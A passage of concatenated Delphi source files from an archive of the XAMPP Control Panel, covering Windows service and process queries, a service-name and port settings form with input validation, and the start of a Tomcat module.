OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, False, PID); if hProcess <> 0 then begin try SetLength(result, MAX_PATH); FillChar(result[1], Length(result) * SizeOf(Char), 0); ZeroMemory(@value, MAX_PATH); nSize := MAX_PATH; @QueryFullProcessImageName := GetProcAddress(GetModuleHandle('kernel32'), 'QueryFullProcessImageNameW'); if QueryFullProcessImageName(hProcess, 0, value, @nSize) then result := Trim(value) else result := 'Unable to get info'; finally CloseHandle(hProcess) end; end else result := 'Unable to open process'; end; procedure tProcesses.UpdateList; begin ProcessList2.Clear; RunningProcessesList(ProcessList2, False); end; initialization Processes := tProcesses.Create; finalization Processes.Free; end. xampp-control-panel/uServices.pas000066600000014224151723641500013134 0ustar00unit uServices; interface uses GnuGettext, WinSvc, Windows, uTools, JclSvcCtrl, SysUtils; type TServiceStatus = (ssError, ssNotFound, ssUnknown, ssRunning, ssStopped); TStartStopService = (ssStart, ssStop); function GetServiceStatus(name: string): TServiceStatus; function GetServicePath(name: string): string; //function StartService(name: string): Integer; //function StopService(name: string): Integer; function GetServiceWithPid(const PID: DWORD): string; // function StartStopService(name: string; StartStopService: TStartStopService):boolean; implementation uses uMain; const SERVICE_WIN32_OWN_PROCESS = $00000010; SERVICE_WIN32_SHARE_PROCESS = $00000020; //function StartService(name: string): Integer; //var // Manager: TJclSCManager; // Service: TJclNTService; //begin // fMain.AddLog('service', Format(_('Searching for service %s'), [name]), ltDebug); // Manager := TJclSCManager.Create; // Manager.Refresh(True); // if Manager.FindService(name, Service) then // begin // fMain.AddLog('service', _('Found service, attempting to start'), ltDebug); // Service.Start; // Result := Service.Win32ExitCode; // end // else // Result := -1; // fMain.AddLog('service', Format(_('Return Code %d'), [Result]), ltDebug); // Manager.Free; //end; //function StopService(name: string): Integer; //var // Manager: TJclSCManager; // Service: TJclNTService; //begin // fMain.AddLog('service', Format(_('Searching for service %s'), [name]), ltDebug); // Manager := TJclSCManager.Create; // Manager.Refresh(True); // if Manager.FindService(name, Service) then // begin // fMain.AddLog('service', _('Found service, attempting to stop'), ltDebug); // Service.Stop; // Result := Service.Win32ExitCode; // end // else // Result := -1; // fMain.AddLog('service', Format(_('Return Code %d'), [Result]), ltDebug); // Manager.Free; //end; function GetServicePath(name: string): string; var hSCM: SC_Handle; hService: SC_Handle; ServiceConfig: WinSvc.LPQUERY_SERVICE_CONFIG; bytesneeded: DWORD; begin hSCM := OpenSCManager(nil, nil, SC_MANAGER_CONNECT or SC_MANAGER_ENUMERATE_SERVICE or SC_MANAGER_QUERY_LOCK_STATUS or STANDARD_RIGHTS_READ); if (hSCM = 0) then begin Result := 'ERROR: Not Able To Open Service Manager'; exit; end; hService := OpenService(hSCM, PWideChar(name), SERVICE_QUERY_CONFIG); if (hService = 0) then begin CloseServiceHandle(hSCM); Result := 'ERROR: Service Not Found'; exit; end; if (QueryServiceConfig(hService, nil, 0, bytesneeded) = False) then begin GetMem(ServiceConfig, bytesneeded); if (QueryServiceConfig(hService, ServiceConfig, bytesneeded, bytesneeded) = False) then begin CloseServiceHandle(hService); CloseServiceHandle(hSCM); Result := 'ERROR: Could Not Get Service Config'; FreeMem(ServiceConfig); end else begin CloseServiceHandle(hService); CloseServiceHandle(hSCM); Result := ServiceConfig.lpBinaryPathName; FreeMem(ServiceConfig); end; end; CloseServiceHandle(hService); CloseServiceHandle(hSCM); end; function GetServiceWithPid(const PID: DWORD): string; const cnMaxServices = 4096; type TSvcA = array [0 .. cnMaxServices] of TEnumServiceStatus; PSvcA = ^TSvcA; var j: Integer; nBytesNeeded, nServices, nResumeHandle: DWORD; ssa: PSvcA; hSCM: THandle; hSvc: THandle; ssp: SERVICE_STATUS_PROCESS; dwSize: DWORD; begin Result := ''; hSCM := OpenSCManager(nil, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT or SC_MANAGER_ENUMERATE_SERVICE or SC_MANAGER_QUERY_LOCK_STATUS or STANDARD_RIGHTS_READ); if hSCM = 0 then exit('Unable to open Service Control Manager'); nResumeHandle := 0; New(ssa); EnumServicesStatus(hSCM, SERVICE_WIN32_OWN_PROCESS or SERVICE_WIN32_SHARE_PROCESS, SERVICE_ACTIVE, ssa^[0], sizeof(ssa^), nBytesNeeded, nServices, nResumeHandle); for j := 0 to nServices - 1 do begin hSvc := OpenService(hSCM, PChar(StrPas(ssa^[j].lpServiceName)), SERVICE_QUERY_STATUS); if hSvc > 0 then begin try if QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO, @ssp, sizeof(ssp), dwSize) then begin if (ssp.dwProcessId = PID) then begin Result := GetServicePath(ssa^[j].lpServiceName); break; end; end else Result := 'Unable to query service'; finally CloseServiceHandle(hSvc); end; end else Result := Format('Unable to open service: %s',[ssa^[j].lpServiceName]); end; { for j } Dispose(ssa); CloseServiceHandle(hSCM); end; function GetServiceStatus(name: string): TServiceStatus; var hSCM: THandle; hService: THandle; ServiceStatus: _SERVICE_STATUS; begin hSCM := OpenSCManager(nil, nil, SC_MANAGER_CONNECT); if (hSCM = 0) then begin Result := ssError; exit; end; hService := OpenService(hSCM, @name[1], SERVICE_QUERY_STATUS);; if (hService = 0) then begin CloseServiceHandle(hSCM); Result := ssNotFound; exit; end; // The SERVICE exists and we have access if (QueryServiceStatus(hService, ServiceStatus)) then begin Result := ssUnknown; if (ServiceStatus.dwCurrentState = SERVICE_RUNNING) then Result := ssRunning; if (ServiceStatus.dwCurrentState = SERVICE_STOPPED) then Result := ssStopped; end else begin Result := ssError; end; CloseServiceHandle(hService); CloseServiceHandle(hSCM); end; //function ServiceDelete(name: string): boolean; //var // hSCM: THandle; // hService: THandle; //begin // Result := False; // hSCM := OpenSCManager(nil, nil, SC_MANAGER_CONNECT); // if (hSCM = 0) then // exit; // // hService := OpenService(hSCM, @name[1], SERVICE_QUERY_STATUS);; // if (hService = 0) then // begin // CloseServiceHandle(hSCM); // exit; // end; // // The SERVICE exists and we have access // // Result := (DeleteService(hService)); // // CloseServiceHandle(hService); // CloseServiceHandle(hSCM); //end; end. xampp-control-panel/uServiceSettings.dfm000066600000041622151723641500014457 0ustar00object fServiceSettings: TfServiceSettings Left = 0 Top = 0 Caption = 'Service Settings' ClientHeight = 289 ClientWidth = 584 Color = clBtnFace Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -13 Font.Name = 'Arial' Font.Style = [] OldCreateOrder = False OnCreate = FormCreate OnShow = FormShow PixelsPerInch = 120 TextHeight = 16 object lMain: TLabel Left = 8 Top = 16 Width = 567 Height = 89 Caption = 'Use this form to set service-specific and default port settings.' + ' You can set the name and default ports the XAMPP Control Panel' + ' will check. Do not include spaces or quotes in names. This do' + 'es NOT change the ports that the services and programs use. You' + ' still need to change those in the services'#39' configuration files' + '.' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False WordWrap = True end object bSave: TBitBtn Left = 477 Top = 249 Width = 98 Height = 33 Caption = 'Save' Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FAF7F9FBF9FF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFF7FAF837833D347D3AF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF8FBF8408E4754A35C4F9F5733 7D39F8FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF F8FBF8499A515BAC6477CA8274C87E51A059347E3AF8FBF9FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFF8FCF951A65A63B56D7ECE897BCC8776CA8176 C98152A25A357F3BF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9FCFA59B063 6BBD7684D2907AC98560B26A63B46D78C98378CB8253A35C36803CF9FBF9FFFF FFFFFFFFFFFFFFFFFFFFD3ECD66CBD7679C98680CE8D53A75CB2D6B59CC9A05C AD677CCC8679CB8554A45D37813DF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFD9EFDC 6CBD756DC079B5DBB9FFFFFFFFFFFF98C79D5EAE687DCD897CCD8756A55F3882 3EF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFD5EDD8BEE2C3FFFFFFFFFFFFFFFFFFFF FFFF99C89D5FAF697FCE8A7ECE8957A66039833FF9FBF9FFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF99C89E60B06A81CF8D7FCF 8B58A761398540F9FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF99C99E62B26C82D18F7AC88557A6609FC4A2FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9ACA9F63B3 6D5FAF69A5CBA9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFF9ACA9FA5CEA9FFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF} TabOrder = 0 OnClick = bSaveClick end object bCancel: TBitBtn Left = 354 Top = 249 Width = 98 Height = 33 Caption = 'Abort' Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCECEFAF9F9FEFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFF8F8FEC6C5F8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF D1D0FB4F4CF24140EDF9F9FEFFFFFFFFFFFFFFFFFFFFFFFFF8F8FE2725E4312F EAC6C5F8FFFFFFFFFFFFFFFFFFD3D3FC5856F56361FA5855F64341EDF9F9FEFF FFFFFFFFFFF9F8FE2E2DE6413FF14C4AF6312FEAC6C5F8FFFFFFFFFFFFE3E3FD 5B58F66562FA7170FF5956F64442EEF9F9FEF9F9FE3734E94745F26362FF4A48 F42F2DE9DAD9FAFFFFFFFFFFFFFFFFFFE3E3FD5B59F66663FA7471FF5A58F645 43EE403EEC504DF46867FF504EF53634EBDBDBFBFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFE3E3FD5C5AF66764FA7472FF7370FF706EFF6E6CFF5755F73F3DEEDCDC FBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE4E3FD5D5BF77976FF59 56FF5754FF7270FF4846F0DEDEFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFAFAFF5E5BF67D79FF5E5BFF5B58FF7674FF4744EFF9F9FEFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFAFAFF6865F9706DFB807EFF7E 7BFF7C79FF7977FF5E5CF74946EFF9F9FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FBFAFF706DFC7774FD8682FF7673FC6462F8605DF76D6AFA7B79FF605DF74A47 EFF9F9FEFFFFFFFFFFFFFFFFFFFBFBFF7572FE7D7AFE8A87FF7C79FD6C69FBE5 E4FEE4E4FE615EF86E6CFA7D7AFF615FF74B48F0FBFBFFFFFFFFFFFFFFEEEEFF 7A77FF817EFF817EFE7471FDE6E6FEFFFFFFFFFFFFE4E4FE625FF86F6DFB7E7C FF625FF8B0AFF8FEFEFFFFFFFFFFFFFFEEEEFF7A77FF7976FEE7E7FFFFFFFFFF FFFFFFFFFFFFFFFFE4E4FE6461F86A68F98E8CF7E3E2FDFFFFFFFFFFFFFFFFFF FFFFFFEEEEFFE8E8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE5E4FEB8B8 FCD7D6FDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F9FFFFFFFFFFFFFFFFFFFF} TabOrder = 1 OnClick = bCancelClick end object pcSettings: TPageControl Left = 8 Top = 121 Width = 569 Height = 121 ActivePage = pApache TabOrder = 2 object pApache: TTabSheet Caption = 'Apache' ExplicitWidth = 573 object gApache: TGroupBox Left = 0 Top = 0 Width = 553 Height = 86 Caption = 'Apache Settings' Color = clBtnFace ParentBackground = False ParentColor = False TabOrder = 0 object lApacheName: TLabel Left = 16 Top = 24 Width = 80 Height = 16 Caption = 'Service Name' end object lApacheMain: TLabel Left = 224 Top = 24 Width = 58 Height = 16 Caption = 'Main Port' end object lApacheSSL: TLabel Left = 302 Top = 24 Width = 53 Height = 16 Caption = 'SSL Port' end object tApacheName: TEdit Left = 16 Top = 46 Width = 190 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 0 end object tApacheMain: TEdit Left = 220 Top = 46 Width = 61 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 1 end object tApacheSSL: TEdit Left = 296 Top = 46 Width = 61 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 2 end end end object pMySQL: TTabSheet Caption = 'MySQL' ImageIndex = 1 ExplicitWidth = 592 ExplicitHeight = 162 object gMySQL: TGroupBox Left = 0 Top = 0 Width = 553 Height = 86 Caption = 'MySQL Settings' Color = clBtnFace ParentBackground = False ParentColor = False TabOrder = 0 object lMySQLMain: TLabel Left = 224 Top = 24 Width = 58 Height = 16 Caption = 'Main Port' end object lMySQLName: TLabel Left = 16 Top = 24 Width = 80 Height = 16 Caption = 'Service Name' end object tMySQLMain: TEdit Left = 220 Top = 46 Width = 61 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 0 end object tMySQLName: TEdit Left = 16 Top = 46 Width = 190 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 1 end end end object pFileZilla: TTabSheet Caption = 'FileZilla' ImageIndex = 2 ExplicitWidth = 592 ExplicitHeight = 162 object gFileZilla: TGroupBox Left = 0 Top = 0 Width = 553 Height = 86 Caption = 'FileZilla Settings' Color = clBtnFace ParentBackground = False ParentColor = False TabOrder = 0 object lFileZillaMain: TLabel Left = 224 Top = 24 Width = 56 Height = 16 Caption = 'Main Port' end object lFileZillaName: TLabel Left = 16 Top = 24 Width = 80 Height = 16 Caption = 'Service Name' end object lFileZillaAdmin: TLabel Left = 296 Top = 24 Width = 65 Height = 16 Caption = 'Admin Port' end object tFileZillaMain: TEdit Left = 220 Top = 46 Width = 61 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 0 end object tFileZillaName: TEdit Left = 16 Top = 46 Width = 190 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 1 end object tFileZillaAdmin: TEdit Left = 296 Top = 46 Width = 61 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 2 end end end object pMercury: TTabSheet Caption = 'Mercury' ImageIndex = 3 ExplicitWidth = 592 ExplicitHeight = 162 object gMercury: TGroupBox Left = 0 Top = 0 Width = 553 Height = 86 Caption = 'Mercury Settings' Color = clBtnFace ParentBackground = False ParentColor = False TabOrder = 0 object lMercuryP1: TLabel Left = 29 Top = 26 Width = 35 Height = 16 Caption = 'Port 1' end object lMercuryP2: TLabel Left = 110 Top = 26 Width = 35 Height = 16 Caption = 'Port 2' end object lMercuryP3: TLabel Left = 187 Top = 26 Width = 35 Height = 16 Caption = 'Port 3' end object lMercuryP4: TLabel Left = 263 Top = 26 Width = 35 Height = 16 Caption = 'Port 4' end object lMercuryP5: TLabel Left = 341 Top = 28 Width = 35 Height = 16 Caption = 'Port 5' end object lMercuryP6: TLabel Left = 419 Top = 28 Width = 35 Height = 16 Caption = 'Port 6' end object lMercuryP7: TLabel Left = 493 Top = 28 Width = 35 Height = 16 Caption = 'Port 7' end object tMercuryP1: TEdit Left = 16 Top = 46 Width = 61 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 0 end object tMercuryP2: TEdit Left = 95 Top = 46 Width = 61 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 1 end object tMercuryP3: TEdit Left = 173 Top = 46 Width = 61 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 2 end object tMercuryP4: TEdit Left = 250 Top = 46 Width = 61 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 3 end object tMercuryP5: TEdit Left = 327 Top = 46 Width = 61 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 4 end object tMercuryP6: TEdit Left = 404 Top = 46 Width = 61 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 5 end object tMercuryP7: TEdit Left = 479 Top = 46 Width = 61 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 6 end end end object pTomcat: TTabSheet Caption = 'Tomcat' ImageIndex = 4 ExplicitWidth = 592 ExplicitHeight = 162 object gTomcat: TGroupBox Left = 0 Top = 0 Width = 553 Height = 86 Caption = 'Tomcat Settings' Color = clBtnFace ParentBackground = False ParentColor = False TabOrder = 0 object lTomcatMain: TLabel Left = 224 Top = 24 Width = 56 Height = 16 Caption = 'Main Port' end object lTomcatHTTP: TLabel Left = 375 Top = 24 Width = 60 Height = 16 Caption = 'HTTP Port' end object lTomcatAJP: TLabel Left = 303 Top = 24 Width = 52 Height = 16 Caption = 'AJP Port' end object lTomcatName: TLabel Left = 16 Top = 24 Width = 80 Height = 16 Caption = 'Service Name' end object tTomcatMain: TEdit Left = 220 Top = 46 Width = 61 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 0 end object tTomcatHTTP: TEdit Left = 373 Top = 46 Width = 61 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 1 end object tTomcatAJP: TEdit Left = 296 Top = 46 Width = 61 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 2 end object tTomcatName: TEdit Left = 16 Top = 46 Width = 190 Height = 25 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 3 end end end end end xampp-control-panel/uServiceSettings.pas000066600000020416151723641500014472 0ustar00unit uServiceSettings; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, uTools, GnuGettext, Vcl.StdCtrls, Vcl.Buttons, Vcl.ComCtrls; type TfServiceSettings = class(TForm) lMain: TLabel; bSave: TBitBtn; bCancel: TBitBtn; pcSettings: TPageControl; pApache: TTabSheet; pMySQL: TTabSheet; pFileZilla: TTabSheet; pMercury: TTabSheet; pTomcat: TTabSheet; gApache: TGroupBox; lApacheName: TLabel; lApacheMain: TLabel; lApacheSSL: TLabel; tApacheName: TEdit; tApacheMain: TEdit; tApacheSSL: TEdit; gMySQL: TGroupBox; lMySQLMain: TLabel; lMySQLName: TLabel; tMySQLMain: TEdit; tMySQLName: TEdit; gFileZilla: TGroupBox; lFileZillaMain: TLabel; lFileZillaName: TLabel; lFileZillaAdmin: TLabel; tFileZillaMain: TEdit; tFileZillaName: TEdit; tFileZillaAdmin: TEdit; gMercury: TGroupBox; lMercuryP1: TLabel; lMercuryP2: TLabel; lMercuryP3: TLabel; lMercuryP4: TLabel; lMercuryP5: TLabel; lMercuryP6: TLabel; lMercuryP7: TLabel; tMercuryP1: TEdit; tMercuryP2: TEdit; tMercuryP3: TEdit; tMercuryP4: TEdit; tMercuryP5: TEdit; tMercuryP6: TEdit; tMercuryP7: TEdit; gTomcat: TGroupBox; lTomcatMain: TLabel; lTomcatHTTP: TLabel; lTomcatAJP: TLabel; lTomcatName: TLabel; tTomcatMain: TEdit; tTomcatHTTP: TEdit; tTomcatAJP: TEdit; tTomcatName: TEdit; procedure FormCreate(Sender: TObject); procedure bCancelClick(Sender: TObject); procedure FormShow(Sender: TObject); procedure bSaveClick(Sender: TObject); private function ValidateName(Name: string): Boolean; function ValidatePort(Port: string): Boolean; public { Public declarations } end; var fServiceSettings: TfServiceSettings; implementation {$R *.dfm} function TfServiceSettings.ValidateName(Name: string): Boolean; begin if (Trim(Name) <> '') and (Pos(' ', Name) = 0) and (Pos('"', Name) = 0) then Result := True else Result := False; end; function TfServiceSettings.ValidatePort(Port: string): Boolean; var i: integer; begin if (TryStrToInt(Port, i) = True) and (Trim(Port) <> '') then Result := True else Result := False; end; procedure TfServiceSettings.bCancelClick(Sender: TObject); begin Close; end; procedure TfServiceSettings.bSaveClick(Sender: TObject); var error: boolean; begin error := False; if ValidateName(tApacheName.Text) then Config.ServiceNames.Apache := tApacheName.Text else begin ShowMessage('Apache Name: "' + tApacheName.Text + '" is not a valid name.'); error := True; end; if ValidatePort(tApacheMain.Text) then Config.ServicePorts.Apache := StrToInt(tApacheMain.Text) else begin ShowMessage('Apache Main: "' + tApacheMain.Text + '" is not a valid number.'); error := True; end; if ValidatePort(tApacheSSL.Text) then Config.ServicePorts.ApacheSSL := StrToInt(tApacheSSL.Text) else begin ShowMessage('Apache SSL: "' + tApacheSSL.Text + '" is not a valid number.'); error := True; end; if ValidateName(tMySQLName.Text) then Config.ServiceNames.MySQL := tMySQLName.Text else begin ShowMessage('MySQL Name: "' + tMySQLName.Text + '" is not a valid name.'); error := True; end; if ValidatePort(tMySQLMain.Text) then Config.ServicePorts.MySQL := StrToInt(tMySQLMain.Text) else begin ShowMessage('MySQL: "' + tMySQLMain.Text + '" is not a valid number.'); error := True; end; if ValidateName(tFileZillaName.Text) then Config.ServiceNames.FileZilla := tFileZillaName.Text else begin ShowMessage('FileZilla Name: "' + tFileZillaName.Text + '" is not a valid name.'); error := True; end; if ValidatePort(tFileZillaMain.Text) then Config.ServicePorts.FileZilla := StrToInt(tFileZillaMain.Text) else begin ShowMessage('FileZilla Main: "' + tFileZillaMain.Text + '" is not a valid number.'); error := True; end; if ValidatePort(tFileZillaAdmin.Text) then Config.ServicePorts.FileZillaAdmin := StrToInt(tFileZillaAdmin.Text) else begin ShowMessage('FileZilla Admin: "' + tFileZillaAdmin.Text + '" is not a valid number.'); error := True; end; if ValidatePort(tMercuryP1.Text) then Config.ServicePorts.Mercury1 := StrToInt(tMercuryP1.Text) else begin ShowMessage('Mercury1: "' + tMercuryP1.Text + '" is not a valid number.'); error := True; end; if ValidatePort(tMercuryP2.Text) then Config.ServicePorts.Mercury2 := StrToInt(tMercuryP2.Text) else begin ShowMessage('Mercury2: "' + tMercuryP2.Text + '" is not a valid number.'); error := True; end; if ValidatePort(tMercuryP3.Text) then Config.ServicePorts.Mercury3 := StrToInt(tMercuryP3.Text) else begin ShowMessage('Mercury3: "' + tMercuryP3.Text + '" is not a valid number.'); error := True; end; if ValidatePort(tMercuryP4.Text) then Config.ServicePorts.Mercury4 := StrToInt(tMercuryP4.Text) else begin ShowMessage('Mercury4: "' + tMercuryP4.Text + '" is not a valid number.'); error := True; end; if ValidatePort(tMercuryP5.Text) then Config.ServicePorts.Mercury5 := StrToInt(tMercuryP5.Text) else begin ShowMessage('Mercury5: "' + tMercuryP5.Text + '" is not a valid number.'); error := True; end; if ValidatePort(tMercuryP6.Text) then Config.ServicePorts.Mercury6 := StrToInt(tMercuryP6.Text) else begin ShowMessage('Mercury6: "' + tMercuryP6.Text + '" is not a valid number.'); error := True; end; if ValidatePort(tMercuryP7.Text) then Config.ServicePorts.Mercury7 := StrToInt(tMercuryP7.Text) else begin ShowMessage('Mercury7: "' + tMercuryP7.Text + '" is not a valid number.'); error := True; end; if ValidateName(tTomcatName.Text) then Config.ServiceNames.Tomcat := tTomcatName.Text else begin ShowMessage('Tomcat Name: "' + tTomcatName.Text + '" is not a valid name.'); error := True; end; if ValidatePort(tTomcatMain.Text) then Config.ServicePorts.Tomcat := StrToInt(tTomcatMain.Text) else begin ShowMessage('Tomcat: "' + tTomcatMain.Text + '" is not a valid number.'); error := True; end; if ValidatePort(tTomcatHTTP.Text) then Config.ServicePorts.TomcatHTTP := StrToInt(tTomcatHTTP.Text) else begin ShowMessage('Tomcat: "' + tTomcatHTTP.Text + '" is not a valid number.'); error := True; end; if ValidatePort(tTomcatAJP.Text) then Config.ServicePorts.TomcatAJP := StrToInt(tTomcatAJP.Text) else begin ShowMessage('Tomcat: "' + tTomcatAJP.Text + '" is not a valid number.'); error := True; end; if error = False then begin SaveSettings; Close; end; end; procedure TfServiceSettings.FormCreate(Sender: TObject); begin TranslateComponent(Self); end; procedure TfServiceSettings.FormShow(Sender: TObject); begin tApacheName.Text := Config.ServiceNames.Apache; tApacheMain.Text := IntToStr(Config.ServicePorts.Apache); tApacheSSL.Text := IntToStr(Config.ServicePorts.ApacheSSL); tMySQLName.Text := Config.ServiceNames.MySQL; tMySQLMain.Text := IntToStr(Config.ServicePorts.MySQL); tFileZillaName.Text := Config.ServiceNames.FileZilla; tFileZillaMain.Text := IntToStr(Config.ServicePorts.FileZilla); tFileZillaAdmin.Text := IntToStr(Config.ServicePorts.FileZillaAdmin); tMercuryP1.Text := IntToStr(Config.ServicePorts.Mercury1); tMercuryP2.Text := IntToStr(Config.ServicePorts.Mercury2); tMercuryP3.Text := IntToStr(Config.ServicePorts.Mercury3); tMercuryP4.Text := IntToStr(Config.ServicePorts.Mercury4); tMercuryP5.Text := IntToStr(Config.ServicePorts.Mercury5); tMercuryP6.Text := IntToStr(Config.ServicePorts.Mercury6); tMercuryP7.Text := IntToStr(Config.ServicePorts.Mercury7); tTomcatName.Text := Config.ServiceNames.Tomcat; tTomcatMain.Text := IntToStr(Config.ServicePorts.Tomcat); tTomcatHTTP.Text := IntToStr(Config.ServicePorts.TomcatHTTP); tTomcatAJP.Text := IntToStr(Config.ServicePorts.TomcatAJP); end; end. xampp-control-panel/uTomcat.pas000066600000037625151723641500012612 0ustar00unit uTomcat; interface uses GnuGettext, uBaseModule, SysUtils, Classes, Windows, ExtCtrls, StdCtrls, Buttons, uNetstatTable, uTools, uProcesses_new, uServices; type tTomcat = class(tBaseModule) OldPIDs, OldPorts: string; GlobalStatus: string; procedure ServiceInstall; override; procedure ServiceUnInstall; override; procedure Start; override; procedure Stop; override; procedure Admin; override; procedure CheckPorts; procedure UpdateStatus; override; procedure CheckIsService; reintroduce; procedure AddLog(Log: string; LogType: tLogType = ltDefault); reintroduce; constructor Create(pbbService: TBitBtn; pStatusPanel: tPanel; pPIDLabel, pPortLabel: tLabel; pStartStopButton, pAdminButton: TBitBtn); destructor Destroy; override; end; implementation uses uMain; const cModuleName = 'Tomcat'; { tTomcat } procedure tTomcat.AddLog(Log: string; LogType: tLogType); begin inherited AddLog(cModuleName, Log, LogType); end; procedure tTomcat.Admin; var App, Param: string; begin Param := 'http://localhost:' + IntToStr(Config.ServicePorts.TomcatHTTP) + '/'; if Config.BrowserApp <> '' then begin App := Config.BrowserApp; ExecuteFile(App, Param, '', SW_SHOW); AddLog(Format(_('Executing "%s" "%s"'), [App, Param]), ltDebug); end else begin ExecuteFile(Param, '', '', SW_SHOW); AddLog(Format(_('Executing "%s"'), [Param]), ltDebug); end; end; procedure tTomcat.CheckIsService; var s: string; path: string; begin inherited CheckIsService(RemoveWhiteSpace(Config.ServiceNames.Tomcat)); if isService then begin s := _('Service installed'); path:=GetServicePath(RemoveWhiteSpace(Config.ServiceNames.Tomcat)); end else s := _('Service not 